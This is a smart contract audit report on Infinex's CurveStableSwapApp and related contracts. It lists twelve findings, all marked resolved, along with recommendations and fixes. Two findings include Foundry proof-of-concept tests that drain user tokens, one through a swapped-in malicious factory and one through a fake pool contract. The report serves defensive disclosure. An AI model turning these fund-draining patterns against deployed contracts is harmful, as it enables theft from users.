Infinex Apps and CurveStableSwap Smart Contract Audit

<tbody>
<tr>
<td class="rating-high">High</td>
<td class="status-resolved">Resolved</td>
<td><a href="https://github.com/infinex-xyz/infinex-contracts/blob/a9d86eef3fd10454ae3b91ecbe197154df70ad78/src/apps/curve/CurveStableSwapAppBeacon.sol#L45">CurveStableSwapAppBeacon.sol#L45</a></td>
</tr>
</tbody>
</table>
<p>It would be possible to drain users' funds via the additional recovery mechanisms in <code>CurveStableSwapApp</code>. This is based on the presumption that <code>trustedRecovery</code><code>Keeper</code> and owner of <code>CurveStableSwapAppBeacon</code> are both under the control of Infinex.</p>
<p>As the owner of <code>CurveStableSwapBeacon</code>'s is able to set the<code>CurveStableSwap</code><code>FactoryNG</code> after deployment, they could update the factory to a malicous contract, bypassing the validations implemented in the <code>CurveStableSwapApp</code>. The token allowances for this contract could then be abused to drain user funds. This issue could be exploited without user action as the functionality could be invoked by the <code>trustedRecoveryKeeper</code> address.</p>
<p>The following proof of concept was developed to illustrate exploitation of the issue:</p>
<pre tabindex="0" class="chroma"><code><span class="line"><span class="cl"><span class="gh">diff --git a/test/forge/unit/apps/curve/CurveStableSwapApp.t.sol b/test/forge/unit/apps/curve/CurveStableSwapApp.t.sol
</span></span></span><span class="line"><span class="cl"><span class="gh">index 8be2ad5..51d711d 100644
</span></span></span><span class="line"><span class="cl"><span class="gh"></span><span class="gd">--- a/test/forge/unit/apps/curve/CurveStableSwapApp.t.sol
</span></span></span><span class="line"><span class="cl"><span class="gd"></span><span class="gi">+++ b/test/forge/unit/apps/curve/CurveStableSwapApp.t.sol
</span></span></span><span class="line"><span class="cl"><span class="gi"></span><span class="gu">@@ -144,6 +144,57 @@ contract CurveSwapStableAppTest is Test {
</span></span></span><span class="line"><span class="cl"><span class="gu"></span> assertEq(plainPoolToken2.balanceOf(address(curvePool)), 0);
</span></span><span class="line"><span class="cl"> }
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="gi">+ function find_pool_for_coins(address _from, address _to) external returns (address) {
</span></span></span><span class="line"><span class="cl"><span class="gi">+ return address(this);
</span></span></span><span class="line"><span class="cl"><span class="gi">+ }
</span></span></span><span class="line"><span class="cl"><span class="gi">+
</span></span></span><span class="line"><span class="cl"><span class="gi">+ function get_coins(address _pool) external returns (address[] memory) {
</span></span></span><span class="line"><span class="cl"><span class="gi">+ return new address[](0);
</span></span></span><span class="line"><span class="cl"><span class="gi">+ }
</span></span></span><span class="line"><span class="cl"><span class="gi">+
</span></span></span><span class="line"><span class="cl"><span class="gi">+ function get_coin_indices(address _pool, address _from, address _to) external returns (int128, int128, bool) {
</span></span></span><span class="line"><span class="cl"><span class="gi">+ return (0, 1, false);
</span></span></span><span class="line"><span class="cl"><span class="gi">+ }
</span></span></span><span class="line"><span class="cl"><span class="gi">+
</span></span></span><span class="line"><span class="cl"><span class="gi">+ function get_balances(address _pool) external returns (uint256[] memory) {
</span></span></span><span class="line"><span class="cl"><span class="gi">+ return new uint256[](0);
</span></span></span><span class="line"><span class="cl"><span class="gi">+ }
</span></span></span><span class="line"><span class="cl"><span class="gi">+
</span></span></span><span class="line"><span class="cl"><span class="gi">+ function get_decimals(address _pool) external returns (uint256[] memory) {
</span></span></span><span class="line"><span class="cl"><span class="gi">+ return new uint256[](0);
</span></span></span><span class="line"><span class="cl"><span class="gi">+ }
</span></span></span><span class="line"><span class="cl"><span class="gi">+
</span></span></span><span class="line"><span class="cl"><span class="gi">+ function get_dy(int128 i, int128 j, uint256 dx) external returns (uint256) {
</span></span></span><span class="line"><span class="cl"><span class="gi">+ return dx;
</span></span></span><span class="line"><span class="cl"><span class="gi">+ }
</span></span></span><span class="line"><span class="cl"><span class="gi">+
</span></span></span><span class="line"><span class="cl"><span class="gi">+ function exchange(int128 i, int128 j, uint256 _dx, uint256 _min_dy) external returns (uint256) {
</span></span></span><span class="line"><span class="cl"><span class="gi">+ USDC.transferFrom(msg.sender, address(this), _dx);
</span></span></span><span class="line"><span class="cl"><span class="gi">+ }
</span></span></span><span class="line"><span class="cl"><span class="gi">+
</span></span></span><span class="line"><span class="cl"><span class="gi">+
</span></span></span><span class="line"><span class="cl"><span class="gi">+ function test_ExploitRecoverTokenToUSDC() public {
</span></span></span><span class="line"><span class="cl"><span class="gi">+ int128 fromTokenIndex = 0;
</span></span></span><span class="line"><span class="cl"><span class="gi">+ int128 toTokenIndex = 1;
</span></span></span><span class="line"><span class="cl"><span class="gi">+ uint256 fromAmount = 1e6;
</span></span></span><span class="line"><span class="cl"><span class="gi">+ uint256 minToAmount = 0.1e6;
</span></span></span><span class="line"><span class="cl"><span class="gi">+ uint256 expectedToAmount = fromAmount;
</span></span></span><span class="line"><span class="cl"><span class="gi">+
</span></span></span><span class="line"><span class="cl"><span class="gi">+ // give the app account some tokens.
</span></span></span><span class="line"><span class="cl"><span class="gi">+ USDC.mint(address(curveApp), fromAmount);
</span></span></span><span class="line"><span class="cl"><span class="gi">+ assertEq(USDC.balanceOf(address(curveApp)), fromAmount);
</span></span></span><span class="line"><span class="cl"><span class="gi">+
</span></span></span><span class="line"><span class="cl"><span class="gi">+ vm.startPrank(owner);
</span></span></span><span class="line"><span class="cl"><span class="gi">+ MainAccountMock(mainAccount).setTrustedRecoveryKeeper(address(this), true);
</span></span></span><span class="line"><span class="cl"><span class="gi">+ CurveAppBeacon(curveAppBeacon).setCurveStableSwapFactoryNG(address(this));
</span></span></span><span class="line"><span class="cl"><span class="gi">+ vm.stopPrank();
</span></span></span><span class="line"><span class="cl"><span class="gi">+
</span></span></span><span class="line"><span class="cl"><span class="gi">+ curveApp.recoverTokenToUSDC(address(USDC));
</span></span></span><span class="line"><span class="cl"><span class="gi">+
</span></span></span><span class="line"><span class="cl"><span class="gi">+ assertEq(USDC.balanceOf(address(curveApp)), 0);
</span></span></span><span class="line"><span class="cl"><span class="gi">+ assertEq(USDC.balanceOf(address(this)), fromAmount);
</span></span></span><span class="line"><span class="cl"><span class="gi">+ }
</span></span></span><span class="line"><span class="cl"><span class="gi">+
</span></span></span><span class="line"><span class="cl"><span class="gi"></span> function test_AddLiqudity_RevertIf_NotAuthorizedOperationsParty() public {
</span></span><span class="line"><span class="cl"> address[] memory tokens = new address[](2);
</span></span><span class="line"><span class="cl"> uint256[] memory amounts = new uint256[](2);
</span></span><span class="line"><span class="cl">
</span></span></code></pre><h3 id="recommendation">Recommendation</h3>
<p>The <code>CurveStableSwapFactoryNG</code> state variable should be <code>immutable</code> within the<code>CurveStableSwapAppBeacon</code>, to prevent the owner from changing the behavior of the <code>CurveStableSwapApp</code> without user action.</p>
<h3 id="client-response">Client response</h3>
<p>Fixed in <a href="https://github.com/infinex-xyz/infinex-contracts/commit/6c08f2be4a3815e7724e98042aa0bf992c498dda">6c08f2b</a>.</p>
<a name="IO-IFX-APP-002"></a><h2 id="io-ifx-app-002-interface-mismatch" class="break-before"><strong>IO-IFX-APP-002</strong> Interface mismatch</h2>
<table class="metadata">

<tbody>
<tr>
<td class="rating-medium">Medium</td>
<td class="status-resolved">Resolved</td>
<td><a href="https://github.com/infinex-xyz/infinex-contracts/blob/a9d86eef3fd10454ae3b91ecbe197154df70ad78/src/interfaces/curve/ICurveStableSwapNG.sol#L61">ICurveStableSwapNG.sol#L61</a></td>
</tr>
</tbody>
</table>
<p>The <code>ICurveStableSwapNG</code> interface does not match the ABI of onchain instances of<code>CurveStableSwapNG</code>. This will result in functions reverting after deployment.</p>
<p>This was confirmed by performing a fork test against Ethereum mainnet using the interface definition:</p>
<pre tabindex="0" class="chroma"><code><span class="line"><span class="cl"><span class="gh">diff --git a/test/forge/unit/apps/curve/CurveStableSwapApp.t.sol b/test/forge/unit/apps/curve/CurveStableSwapApp.t.sol
</span></span></span><span class="line"><span class="cl"><span class="gh">index 8be2ad5..878659e 100644
</span></span></span><span class="line"><span class="cl"><span class="gh"></span><span class="gd">--- a/test/forge/unit/apps/curve/CurveStableSwapApp.t.sol
</span></span></span><span class="line"><span class="cl"><span class="gd"></span><span class="gi">+++ b/test/forge/unit/apps/curve/CurveStableSwapApp.t.sol
</span></span></span><span class="line"><span class="cl"><span class="gi"></span><span class="gu">@@ -144,6 +144,11 @@ contract CurveSwapStableAppTest is Test {
</span></span></span><span class="line"><span class="cl"><span class="gu"></span> assertEq(plainPoolToken2.balanceOf(address(curvePool)), 0);
</span></span><span class="line"><span class="cl"> }
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="gi">+ function test_IncorrectInterface() public {
</span></span></span><span class="line"><span class="cl"><span class="gi">+ vm.createSelectFork("mainnet");
</span></span></span><span class="line"><span class="cl"><span class="gi">+ ICurveStableSwapNG(0x02950460E2b9529D0E00284A5fA2d7bDF3fA4d72).coins(0);
</span></span></span><span class="line"><span class="cl"><span class="gi">+ }
</span></span></span><span class="line"><span class="cl"><span class="gi">+
</span></span></span><span class="line"><span class="cl"><span class="gi"></span> function test_AddLiqudity_RevertIf_NotAuthorizedOperationsParty() public {
</span></span></code></pre><h3 id="recommendation-1">Recommendation</h3>
<p>The parameter type of the function <code>ICurveStableSwapNG::coins(int128)</code> should be <code>ICurveStableSwapNG::coins(uint256)</code>. To ensure that none of the other functions have the incorrect type or signature, the interface should be regenerated. This can be done using <code>cast interface</code>, provided by <a href="https://github.com/foundry-rs/foundry">Foundry</a>:</p>
<pre tabindex="0" class="chroma"><code><span class="line"><span class="cl">cast interface 0x02950460E2b9529D0E00284A5fA2d7bDF3fA4d72
</span></span></code></pre><h3 id="client-response-1">Client response</h3>
<p>Fixed in <a href="https://github.com/infinex-xyz/infinex-contracts/commit/01328bb1db35063908b1460c2ebe6c279c2c8029">01328bb</a>.</p>
<a name="IO-IFX-APP-003"></a><h2 id="io-ifx-app-003-pool-address-not-validated" class="break-before"><strong>IO-IFX-APP-003</strong> Pool address not validated</h2>
<table class="metadata">

<tbody>
<tr>
<td class="rating-medium">Medium</td>
<td class="status-resolved">Resolved</td>
<td><a href="https://github.com/infinex-xyz/infinex-contracts/blob/a9d86eef3fd10454ae3b91ecbe197154df70ad78/src/apps/curve/CurveStableSwapApp.sol#L50">CurveStableSwapApp.sol#L50</a></td>
</tr>
</tbody>
</table>
<p>The <code>CurveStableSwapApp::exchange()</code> and <code>CurveStableSwapApp::add</code><code>Liquidity()</code> functions can be leveraged to withdraw assets using an <code>OperationsKey</code>, bypassing the <code>SudoKey</code> requirement imposed for <code>withdrawERC20ToAddress()</code> and the withdrawal fee.</p>
<p>For example, if the user's browser session was compromised the attacker could:</p>
<ol>
<li>Call <code>transferERC20TokenToApp()</code> for all the tokens held in the Smart Account.</li>
<li>Deploy a malicious contract that implements the necessary functions from<code>ICurveStableSwapNG</code> and will transfer tokens from the <code>msg.sender</code> to the attacker's address.</li>
<li>Call <code>CurveStableSwapApp::exchange()</code> with the malicious contract as the<code>_stableSwapPool</code> address.</li>
</ol>
<p>The following proof of concept was developed to illustrate exploitation of the issue:</p>
<pre tabindex="0" class="chroma"><code><span class="line"><span class="cl"><span class="gh">diff --git a/test/forge/unit/apps/curve/CurveStableSwapApp.t.sol b/test/forge/unit/apps/curve/CurveStableSwapApp.t.sol
</span></span></span><span class="line"><span class="cl"><span class="gh">index 8be2ad5..3524fe8 100644
</span></span></span><span class="line"><span class="cl"><span class="gh"></span><span class="gd">--- a/test/forge/unit/apps/curve/CurveStableSwapApp.t.sol
</span></span></span><span class="line"><span class="cl"><span class="gd"></span><span class="gi">+++ b/test/forge/unit/apps/curve/CurveStableSwapApp.t.sol
</span></span></span><span class="line"><span class="cl"><span class="gi"></span><span class="gu">@@ -144,6 +144,31 @@ contract CurveSwapStableAppTest is Test {
</span></span></span><span class="line"><span class="cl"><span class="gu"></span> assertEq(plainPoolToken2.balanceOf(address(curvePool)), 0);
</span></span><span class="line"><span class="cl"> }
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="gi">+ function exchange(int128 i, int128 j, uint256 _dx, uint256 _min_dy) external returns (uint256) {
</span></span></span><span class="line"><span class="cl"><span class="gi">+ plainPoolToken1.transferFrom(msg.sender, address(this), _dx);
</span></span></span><span class="line"><span class="cl"><span class="gi">+ }
</span></span></span><span class="line"><span class="cl"><span class="gi">+
</span></span></span><span class="line"><span class="cl"><span class="gi">+ function coins(int128 i) external view returns (address) {
</span></span></span><span class="line"><span class="cl"><span class="gi">+ return address(plainPoolToken1);
</span></span></span><span class="line"><span class="cl"><span class="gi">+ }
</span></span></span><span class="line"><span class="cl"><span class="gi">+
</span></span></span><span class="line"><span class="cl"><span class="gi">+ function test_ExploitLPTokenAddress() public {
</span></span></span><span class="line"><span class="cl"><span class="gi">+ int128 fromTokenIndex = 0;
</span></span></span><span class="line"><span class="cl"><span class="gi">+ int128 toTokenIndex = 1;
</span></span></span><span class="line"><span class="cl"><span class="gi">+ uint256 fromAmount = 1 ether;
</span></span></span><span class="line"><span class="cl"><span class="gi">+ uint256 minToAmount = 0.1 ether;
</span></span></span><span class="line"><span class="cl"><span class="gi">+ uint256 expectedToAmount = fromAmount;
</span></span></span><span class="line"><span class="cl"><span class="gi">+
</span></span></span><span class="line"><span class="cl"><span class="gi">+ // give the app account some tokens.
</span></span></span><span class="line"><span class="cl"><span class="gi">+ plainPoolToken1.mint(address(curveApp), fromAmount);
</span></span></span><span class="line"><span class="cl"><span class="gi">+
</span></span></span><span class="line"><span class="cl"><span class="gi">+ vm.prank(operationKey);
</span></span></span><span class="line"><span class="cl"><span class="gi">+ curveApp.exchange(address(this), fromTokenIndex, toTokenIndex, fromAmount, 0);
</span></span></span><span class="line"><span class="cl"><span class="gi">+
</span></span></span><span class="line"><span class="cl"><span class="gi">+ assertEq(plainPoolToken1.balanceOf(address(curveApp)), 0);
</span></span></span><span class="line"><span class="cl"><span class="gi">+ assertEq(plainPoolToken1.balanceOf(address(this)), fromAmount);
</span></span></span><span class="line"><span class="cl"><span class="gi">+ }
</span></span></span><span class="line"><span class="cl"><span class="gi">+
</span></span></span><span class="line"><span class="cl"><span class="gi"></span> function test_AddLiqudity_RevertIf_NotAuthorizedOperationsParty() public {
</span></span></code></pre><h3 id="recommendation-2">Recommendation</h3>
<p>The <code>CurveStableSwapApp::exchange()</code> and <code>CurveStableSwapApp::add</code><code>Liquidity()</code> functions should be reworked to accept the addresses of <code>fromToken</code> and <code>toToken</code> and query <code>ICurveStableSwapFactoryNG::.get_coin_indices()</code> to resolve their indices. This simplifies integration as it is not necessary to resolve<code>tokenIds</code> offchain and ensures that the pool is limited to those created by the <code>Curve</code><code>StableSwapFactoryNG</code>. The <code>get_coin_indices()</code> function reverts if the pool and token combinations are not valid.</p>
<p>Alternatively, the pool address should be explicitly validated. This can be achieved by ensuring the the following contract call does not return <code>address(0)</code>: <code>CurveStableSwapFactoryNG::get_implementation_address(address _pool)</code></p>
<h3 id="client-response-2">Client response</h3>
<p>Fixed in <a href="https://github.com/infinex-xyz/infinex-contracts/commit/7799e3d68024f016f4a88a70493861275833f34e">7799e3d</a>. The <code>exchange()</code> and <code>addLiquidity()</code> functions were reworked per the recommendation. Validation of the pool address using <code>get_implementation_</code><code>address()</code> was added as a defence-in-depth measure.</p>
<a name="IO-IFX-APP-004"></a><h2 id="io-ifx-app-004-missing-zero-address-check" class="break-before"><strong>IO-IFX-APP-004</strong> Missing zero-address check</h2>
<table class="metadata">

<tbody>
<tr>
<td class="rating-low">Low</td>
<td class="status-resolved">Resolved</td>
<td><a href="https://github.com/infinex-xyz/infinex-contracts/blob/a9d86eef3fd10454ae3b91ecbe197154df70ad78/src/apps/AppRegistry.sol#L67">AppRegistry.sol#L67</a></td>
</tr>
</tbody>
</table>
<p>The <code>setAppBeaconStatusBatch</code> function is missing the <code>address(0)</code> check done in<code>setAppBeaconStatus</code>.</p>
<h3 id="recommendation-3">Recommendation</h3>
<p>The visibility <code>setAppBeaconStatus</code> should be changed to <code>public</code> and called internally from <code>setAppBeaconStatusBatch</code> to ensure that the same validations are performed for both code paths.</p>
<h3 id="client-response-3">Client response</h3>
<p>Fixed in <a href="https://github.com/infinex-xyz/infinex-contracts/commit/9e60d960257df46c134e4c1d24202bc4efc7eaa7">9e60d96</a>,</p>
<a name="IO-IFX-APP-005"></a><h2 id="io-ifx-app-005-access-control-logic-should-be-centralized" class="break-before"><strong>IO-IFX-APP-005</strong> Access control logic should be centralized</h2>
<table class="metadata">

<tbody>
<tr>
<td class="rating-low">Low</td>
<td class="status-resolved">Resolved</td>
<td><a href="https://github.com/infinex-xyz/infinex-contracts/blob/a9d86eef3fd10454ae3b91ecbe197154df70ad78/src/apps/base/AppSecurityModifiers.sol#L61">AppSecurityModifiers.sol#L61</a></td>
</tr>
</tbody>
</table>
<p>The <code>AppSecurityModifiers</code> contracts reimplements the checks performed in <code>isAuthorizedRecoveryParty</code> and <code>isAuthorizedOperationsParty</code>. If the definition or checks for <code>AuthorizedRecoveryParty</code> or <code>AuthorizedOperationsParty</code> were to evolve over time, the App's permission model could be out of step with the primary account.</p>
<p>Since Apps could be developed and maintained by third-party developers, it cannot be guaranteed that any bugs or improvements in the access control mechanisms will be incorporated.</p>
<h3 id="recommendation-4">Recommendation</h3>
<p>Introducing <code>isAuthorizedRecoveryParty</code> and <code>isAuthorizedOperationsParty</code> as external functions to <code>AccountUtilsModule</code> ensures that role definitions are centralized and future improvements will be included without needing to upgrade each individual App.</p>
<p>The addition of external functions will also reduce the number of cross-contract calls, providing some gas savings.</p>
<h3 id="client-response-4">Client response</h3>
<p>Fixed in <a href="https://github.com/infinex-xyz/infinex-contracts/commit/87b8dafd47d25af4c45afcb79cda37a0aff359f1">87b8daf</a>.</p>
<a name="IO-IFX-APP-006"></a><h2 id="io-ifx-app-006-array-mismatch" class="break-before"><strong>IO-IFX-APP-006</strong> Array mismatch</h2>
<table class="metadata">

<tbody>
<tr>
<td class="rating-low">Low</td>
<td class="status-resolved">Resolved</td>
<td><a href="https://github.com/infinex-xyz/infinex-contracts/blob/a9d86eef3fd10454ae3b91ecbe197154df70ad78/src/apps/curve/CurveStableSwapApp.sol#L71">CurveStableSwapApp.sol#L71</a></td>
</tr>
</tbody>
</table>
<p>In <code>CurveStableSwapApp::addLiquidity()</code>, there is no enforcement that the elements of the <code>_tokens</code> and the <code>_amounts</code> arrays match the order expected by <code>ICurveStableSwapNG::add_liquidity()</code>. This could result in unexpected reverts due to insufficient allowances.</p>
<h3 id="recommendation-5">Recommendation</h3>
<p>In <code>addLiquidity()</code>, the <code>ICurveStableSwapFactoryNG::get_coins()</code> function should be called to obtain the list of tokens supported by the pool. The list should then be compared to the <code>_tokens</code> array to ensure the order is the same.</p>
<h3 id="client-response-5">Client response</h3>
<p>Fixed in <a href="https://github.com/infinex-xyz/infinex-contracts/commit/3f1fb514cd7c6a0dc27a0e5ec80b765d311e9da5">3f1fb51</a>.</p>
<a name="IO-IFX-APP-007"></a><h2 id="io-ifx-app-007-no-slippage-protection-for-recovery-functions" class="break-before"><strong>IO-IFX-APP-007</strong> No slippage protection for recovery functions</h2>
<table class="metadata">

<tbody>
<tr>
<td class="rating-low">Low</td>
<td class="status-resolved">Resolved</td>
<td><a href="https://github.com/infinex-xyz/infinex-contracts/blob/a9d86eef3fd10454ae3b91ecbe197154df70ad78/src/apps/curve/CurveStableSwapApp.sol#L136">CurveStableSwapApp.sol#L136</a></td>
</tr>
</tbody>
</table>
<p>The <code>CurveStableSwapApp::recoverTokenToUSDC()</code>, <code>CurveStableSwapApp::recoverUSDCFromLP()</code> and <code>CurveStableSwapApp::recoverTokenFromLP()</code> functions are susceptible to front-running and sandwich attacks, as they do not implement any slippage controls. The NatSpec for <code>recoverTokenToUSDC</code> and <code>recoverUSDCFromLP</code> indicates that both functions should have some slippage protection; however, no such protection is present in the code.</p>
<h3 id="recommendation-6">Recommendation</h3>
<p>Specifying slippage as function arguments would be sufficient when invoked using a<code>SudoKey</code> or <code>RecoveryKey</code>. However, when called by the <code>trustedRecoveryKeeper</code>, the robustness of this control is reduced, as the <code>trustedRecoveryKeeper</code> must be trusted to set reasonable amounts.</p>
<p>Additional slippage protections should be added to reduce the risk of sandwich attacks and minimize trust assumptions, such as on-chain calculation of the expected received amount. This should be feasible without the need of external oracles as only stable swap pools are supported.</p>
<h3 id="client-response-6">Client response</h3>
<p>Fixed in <a href="https://github.com/infinex-xyz/infinex-contracts/commit/22c021a4338a7d94443f9dd63a140688a2485917">22c021a</a>. All the functions now allow the caller to specify the minimum amount of tokens that should be received.</p>
<p>It was decided to not implement dynamic or onchain slippage controls using oracles due to the complexity that it would introduce. Therefore, it is important that the <code>TrustedRecoveryKeeper</code> implementation is reviewed when developed, to ensure that the off-chain component will calculate and specify reasonable values when invoking the recovery functions.</p>
<a name="IO-IFX-APP-008"></a><h2 id="io-ifx-app-008-incorrect-address" class="break-before"><strong>IO-IFX-APP-008</strong> Incorrect address</h2>
<table class="metadata">

<tbody>
<tr>
<td class="rating-low">Low</td>
<td class="status-resolved">Resolved</td>
<td><a href="https://github.com/infinex-xyz/infinex-contracts/blob/a9d86eef3fd10454ae3b91ecbe197154df70ad78/src/apps/curve/CurveStableSwapApp.sol#L162">CurveStableSwapApp.sol#L162</a></td>
</tr>
</tbody>
</table>
<p>In <code>CurveStableSwapApp::recoverTokenToUSDC()</code>, the incorrect token address is used when resetting the allowance.</p>
<h3 id="recommendation-7">Recommendation</h3>
<p>The allowance for <code>_fromToken</code> should be reset instead of the allowance of USDC.</p>
<h3 id="client-response-7">Client response</h3>
<p>Fixed in <a href="https://github.com/infinex-xyz/infinex-contracts/commit/3f1fb514cd7c6a0dc27a0e5ec80b765d311e9da5">3f1fb51</a>.</p>
<a name="IO-IFX-APP-009"></a><h2 id="io-ifx-app-009-use-of-transfer" class="break-before"><strong>IO-IFX-APP-009</strong> Use of transfer</h2>
<table class="metadata">

<tbody>
<tr>
<td class="rating-low">Low</td>
<td class="status-resolved">Resolved</td>
<td><a href="https://github.com/infinex-xyz/infinex-contracts/blob/e46cdb46aee4f349401e196b353e621173ce0572/src/apps/base/AppAccountBase.sol#L201">AppAccountBase.sol#L201</a></td>
</tr>
</tbody>
</table>
<p>Functions that include <code>_transferToMainAccountEther()</code> might revert due to <code>transfer()</code> providing an insufficent gas stipend. As demonstrated by EIP-1884, which changed the gas cost of the <code>SLOAD</code> operation, gas costs can change. This could lead to a case where a contract has its fallback function increased above the 2300 stipend set by <code>transfer()</code>, resulting in it becoming incompatible with the system.</p>
<p>More information can be found in <a href="https://diligence.consensys.net/blog/2019/09/stop-using-soliditys-transfer-now/">Consensys On Avoiding <code>transfer()</code></a>.</p>
<h3 id="recommendation-8">Recommendation</h3>
<p>The <code>call</code> built-in function should be used, e.g.<code>payable(AppBase._getMainAccount()).call{value: _amount}("")</code>.</p>
<h3 id="client-response-8">Client response</h3>
<p>Fixed in <a href="https://github.com/infinex-xyz/infinex-contracts/commit/9e60d960257df46c134e4c1d24202bc4efc7eaa7">9e60d96</a>.</p>
<a name="IO-IFX-APP-010"></a><h2 id="io-ifx-app-010-incorrect-token-amount" class="break-before"><strong>IO-IFX-APP-010</strong> Incorrect token amount</h2>
<table class="metadata">

<tbody>
<tr>
<td class="rating-low">Low</td>
<td class="status-resolved">Resolved</td>
<td><a href="https://github.com/infinex-xyz/infinex-contracts/blob/7799e3d68024f016f4a88a70493861275833f34e/src/apps/curve/CurveStableSwapApp.sol#L161">CurveStableSwapApp.sol#L161</a></td>
</tr>
</tbody>
</table>
<p>In <code>CurveStableSwapApp::recoverTokenToUSDC()</code> the incorrect amount is passed to <code>_transferToMainAccountERC20</code>.</p>
<h3 id="recommendation-9">Recommendation</h3>
<p>The USDC balance after the exchange or the <code>receivedAmount</code> should be transferred instead of <code>fromToken</code>'s initial balance.</p>
<h3 id="client-response-9">Client response</h3>
<p>Fixed in <a href="https://github.com/infinex-xyz/infinex-contracts/commit/3f1fb514cd7c6a0dc27a0e5ec80b765d311e9da5">3f1fb51</a>.</p>
<a name="IO-IFX-APP-011"></a><h2 id="io-ifx-app-011-inconsistent-documentation" class="break-before"><strong>IO-IFX-APP-011</strong> Inconsistent documentation</h2>
<table class="metadata">

<tbody>
<tr>
<td class="rating-low">Low</td>
<td class="status-resolved">Resolved</td>
<td></td>
</tr>
</tbody>
</table>
<p>The NatSpec for <code>CurveStableSwapApp::removeSpecificLiquidity()</code> incorrectly states that the amounts specified are the minimum that a user will receive for burning the specified amount of liquidity tokens, whereas the <code>ICurveStableSwapNG::remove_liquidity_imbalance()</code> function will always withdraw the specified amount of tokens and only burn the amount of liquidity tokens necessary to satisfy the specified token amounts.</p>
<p>The alternative <code>ICurveStableSwapNG::remove_liquidity(uint256 _lpTokens, uint256[] minAmounts)</code> function would match the described behaviour. However, the documentation for the internal function <code>CurveStableSwapApp::_removeSpecificLiquidity()</code> matches the current implementation.</p>
<h3 id="recommendation-10">Recommendation</h3>
<p>Either the documentation for <code>removeSpecificLiquidity</code> should be updated to match that of the internal <code>_removeSpecificLiquidity</code> function or the implementation should be revised to match the current description.</p>
<h3 id="client-response-10">Client response</h3>
<p>Fixed in <a href="https://github.com/infinex-xyz/infinex-contracts/commit/1c0ee25fa9da17b4dd78a2cab8062c4144fc4c2c">1c0ee25</a>.</p>
<a name="IO-IFX-APP-012"></a><h2 id="io-ifx-app-012-no-base-recovery" class="break-before"><strong>IO-IFX-APP-012</strong> No base recovery</h2>
<table class="metadata">

<tbody>
<tr>
<td class="rating-low">Low</td>
<td class="status-resolved">Resolved</td>
<td><a href="https://github.com/infinex-xyz/infinex-contracts/blob/a9d86eef3fd10454ae3b91ecbe197154df70ad78/src/apps/base/AppAccountBase.sol">AppAccountBase.sol</a></td>
</tr>
</tbody>
</table>
<p>If tokens are transferred to an App they could get stuck if the implementation doesn't support that token. Having each AppAccount implement its own recovery and transfer mechanisms increases the likelihood of an insecure implementation.</p>
<h3 id="recommendation-11">Recommendation</h3>
<p><code>AppAccountBase</code> should implement standardised recovery and transfer mechanisms for tokens and native balances. The functionality should employ the same logic as the existing <code>RecoveryModule</code> if possible, but funds should be recovered to the Primary Account instead of the recovery address.</p>
<p>As a further enhancement, an internal function that can be overridden by each implemention and that checks whether a token is locked can be incorporated into the transfer and recovery functions for <code>AppAccountBase</code>. The lock would need to be explicit per token, allowing tokens not handled by <code>AppAccount</code> to be recovered e.g. <code>_isTokenLocked(address token)</code>. Locking might be required by some integrations to keep tokens as collateral or maintain state consistency.</p>
<h3 id="client-response-11">Client response</h3>
<p>Fixed in <a href="https://github.com/infinex-xyz/infinex-contracts/commit/7397055d939f93fd17d9eeb5725ad09ca0631829">7397055</a>.</p>
<h1 id="code-quality-improvement-suggestions">Code quality improvement suggestions</h1>
<p>Code improvement suggestions without security implications are listed below.</p>
<table class="codequality">
<thead>
<tr>
<th>#</th>
<th>Location</th>
<th>Details</th>
</tr>
</thead>
<tbody>
<tr>
<td>1</td>
<td><a href="https://github.com/infinex-xyz/infinex-contracts/blob/a9d86eef3fd10454ae3b91ecbe197154df70ad78/src/accounts/modules/AppModule.sol#L95">App<wbr>Module<wbr>.sol<wbr>#L95</a></td>
<td>Although it is unlikely that Infinex will ever be deployed on the TRON Network, it is important to note that the TRC20 implementation of USDT on the network is incompatible with <code>SafeERC20.safeTransfer()</code>.</td>
</tr>
<tr>
<td>2</td>
<td><a href="https://github.com/infinex-xyz/infinex-contracts/blob/a9d86eef3fd10454ae3b91ecbe197154df70ad78/src/accounts/modules/BaseModule.sol#L273">Base<wbr>Module<wbr>.sol<wbr>#L273</a></td>
<td>To reduce the code size of the <code>reinitialize</code> function and prevent code bloat over time, the <code>AccountMigratedFrom</code> event should be emitted after the <code>if</code> code block.</td>
</tr>
<tr>
<td>3</td>
<td><a href="https://github.com/infinex-xyz/infinex-contracts/blob/main/src/apps/curve/CurveStableSwapApp.sol">Curve<wbr>Stable<wbr>Swap<wbr>App<wbr>.sol</a></td>
<td>Some functions use token addresses while others use token indices. A more intuitive interface would only rely on token addresses.</td>
</tr>
<tr>
<td>4</td>
<td><a href="https://github.com/infinex-xyz/infinex-contracts/blob/d053da581f8ae4365c40f1b69fa1209e1d7c55b9/src/apps/curve/CurveStableSwapApp.sol#L60">Curve<wbr>Stable<wbr>Swap<wbr>App<wbr>.sol<wbr>#L60</a></td>
<td><code>CurveStableSwapApp::exchange()</code> performs an unnecessary and circular resolution of <code>fromTokenIndex</code></td>
</tr>
<tr>
<td>5</td>
<td><a href="https://github.com/infinex-xyz/infinex-contracts/blob/main/src/apps/curve/CurveStableSwapApp.sol#L230">Curve<wbr>Stable<wbr>Swap<wbr>App<wbr>.sol<wbr>#L230</a></td>
<td>To avoid unnecessary cross contract calls, the <code>_validatePoolAddress</code> internal function should accept <code>ICurveStableSwapFactoryNG</code> as an argument. Alternatively, an overloaded version of<code>_validatePoolAddress</code> could be introduced.</td>
</tr>
<tr>
<td>6</td>
<td><a href="https://github.com/infinex-xyz/infinex-contracts/blob/a9d86eef3fd10454ae3b91ecbe197154df70ad78/src/interfaces/curve/ICurveStableSwapApp.sol#L30">ICurve<wbr>Stable<wbr>Swap<wbr>App<wbr>.sol<wbr>#L30</a></td>
<td>The <code>TokensExchanged</code> event could emit the <code>fromToken</code> and <code>toToken</code> addresses instead of their indices.</td>
</tr>
<tr>
<td>7</td>
<td><a href="https://github.com/infinex-xyz/infinex-contracts/blob/a9d86eef3fd10454ae3b91ecbe197154df70ad78/src/interfaces/curve/ICurveStableSwapFactoryNG.sol#L139">ICurve<wbr>Stable<wbr>Swap<wbr>Factory<wbr>NG<wbr>.sol<wbr>#L139</a></td>
